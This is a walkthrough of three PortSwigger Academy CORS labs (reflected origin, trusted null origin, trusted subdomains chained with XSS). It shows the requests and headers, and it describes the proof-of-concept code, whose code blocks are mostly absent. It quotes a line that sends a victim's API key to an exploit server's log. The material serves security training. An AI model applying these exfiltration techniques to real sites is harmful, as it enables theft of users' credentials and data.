For the complete documentation index, see llms.txt. This page is also available as Markdown.

CORS - Cross-Origin Resource Sharing (Labs: Portswigger Academy)

Theory

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain.

Same-origin policy The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain.

URL accessed
Access permitted?

http://normal-website.com/example/

Yes: same scheme, domain, and port

http://normal-website.com/example2/

Yes: same scheme, domain, and port

https://normal-website.com/example/

No: different scheme and port

http://en.normal-website.com/example/

No: different domain

http://www.normal-website.com/example/

No: different domain

http://normal-website.com:8080/example/

No: different port*

Labs from PortSwigger Academy

Lab 1: CORS vulnerability with basic origin reflection

This website has an insecure CORS configuration in that it trusts all origins.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

request containing apikey:

GET /accountDetails HTTP/2
Host: 0ac2003b030ed9ea80d803c6005600e8.web-security-academy.net
Cookie: session=AYk4ZEVBL5wl0U2gf4Gi8KiGvnboFql3

response:

adding Origin: https://example.com header in request

response:

Access-Control-Allow-Origin: https://example.com Access-Control-Allow-Credentials: true

origin is reflected.

POC to extract the sensitive info

code explaination:

  • request is made to website/accountDetails

  • withCredentials = true tells the browser to include cookies with the request, this is possible due to Access-Control-Allow-Credentials: true

  • location='/log?key='+this.responseText --> response is sent to our exploit server url.

our exploit server's should have log as

URL decode using CyberChef and we get the apikey

Lab 2: CORS vulnerability with trusted null origin

This website has an insecure CORS configuration in that it trusts the "null" origin.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

request containing apikey:

adding Origin: null header on request

response:

Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true

we need to change previous poc so that it looks like the request is coming from null origin. This can be achieved by adding sandbox iframe.

we should get log as:

url decode and we get the apikey of victim.

Lab 3: CORS vulnerability with trusted insecure protocols

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

request for apikey

following headers does not work Origin: null Origin: example.com Origin: 0adc00b9035c201680e3037900f80074.web-security-academy.net

but following headers work Origin: https://0adc00b9035c201680e3037900f80074.web-security-academy.net Origin: https://test.com.0adc00b9035c201680e3037900f80074.web-security-academy.net Origin: http://test.com.0adc00b9035c201680e3037900f80074.web-security-academy.net

Application trusts all its subdomains. This is serious, if anyone of the subdomain is vulnerable then we can use that to make a malicious CORS request.

Searching for vulnerability. productId parameter is vulnerable to xss

xss

POC

Making POC integrated with XSS.

Final POC:

Bug Bounty Reports

Last updated